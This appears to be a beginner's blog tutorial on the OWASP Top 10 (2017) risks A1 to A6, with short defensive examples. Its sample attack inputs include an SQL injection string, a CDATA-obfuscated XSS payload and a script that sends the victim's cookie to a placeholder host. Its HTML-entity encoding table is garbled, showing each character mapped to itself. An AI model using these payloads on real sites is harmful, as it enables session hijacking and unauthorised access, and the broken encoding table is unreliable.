Simple example to understand OWASP TOP 10 Application Security Risk 2017 I
A1 – Injection
Attackers are trying to use malicious code and input into the application to form a valid command or query. One of the most common example is SQL Injection.
Example you have a query to validate user authentication:
Attacker has to input username and password to gain the access right to the application. To by pass this, attacker can simply enter username as "attacker" and password = "password' or 1=1". This will form a always true query.
However, this issue can be prevent by using PrepareStatement.
Another example of Injection attack would be XML Injection.
Example in XML, sometimes we want to escape XML parser for some blocks of text we used CDATA <![CDATA[ / ]]> If the application has a XML node <node> $input </node>Attacker can input:
$input = <![CDATA[<]]>script<![CDATA[>]]>alert('xss')<![CDATA[<]]>/script<![CDATA[>]]>
And this will be interpreted as <script>alert('xss')</script>
A2 – Broken Authentication and Session Management
This can be happened when your application logged session is not protected or stored properly.
One of the common vulnerabilities is that developers tend to expose Session ID in URL.
If an attacker was gotten the URL above, he/she can used the valid session id "11111111" to gain the access to the website.
Another common scenario, when user using public computer to access a site, and instead of clicking logout, he/she closes the browser and walk away. If the site doesn't have proper session logout time design, an attacker can be used the user authenticated session and continue serve the site.
A3 – Cross-Site Scripting (XSS)
If the application are receiving users' input, then the application most likely vulnerability to this attack. As long as there is textbox for user to input, and if your system doesn't encode or escape script character eg. &, < >, ", ', / and so on.
Example to a shopping cart application which allows user to input reviews or comments. An attacker can enter:
<script>document.location='http://www.example.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>
This allows attacker to hijack user's current session.
Simply encode the following characters into HTML entity characters.
& --> &
< --> <
> --> >
" --> "
' --> '
/ --> /
A4 – Broken Access Control
Did non-admin users can access admin page in your application? Certain function or data has to be authorized to only certain group of people. Any direct reference has to be verified with the access control.
Example an admin user management page url as below:
https://www.example.com/admin/usermgt/index.php
An attacker is not an admin, but somehow he/she manage to guess the admin URL and he/she directly access the URL above. If the access control only on admin/login.php page, an attacker can bypass the login and access the user management module.
A5 – Security Misconfiguration
Are your application default accounts and passwords still enabled and unchanged? Does your error handling reveal stack traces or other overly informative error messages to users? Directory listing is not disabled on your web server. An attacker discovers they can simply list directories to find any file and download them.
A6 – Sensitive Data Exposure
User authentication credentials aren’t properly protected when stored using hashing or encryption. Or maybe your application still using compromised or weak cryptography algorithm eg. SHA1, MD5, RC4. Does your application stored user's credit card in clear text in database.
Any sensitive data to be transmitted in network should used SSL/TLS to encrypt the data. If not, an attacker can sniff your application network traffic, from the transaction packet extract the senstitive data.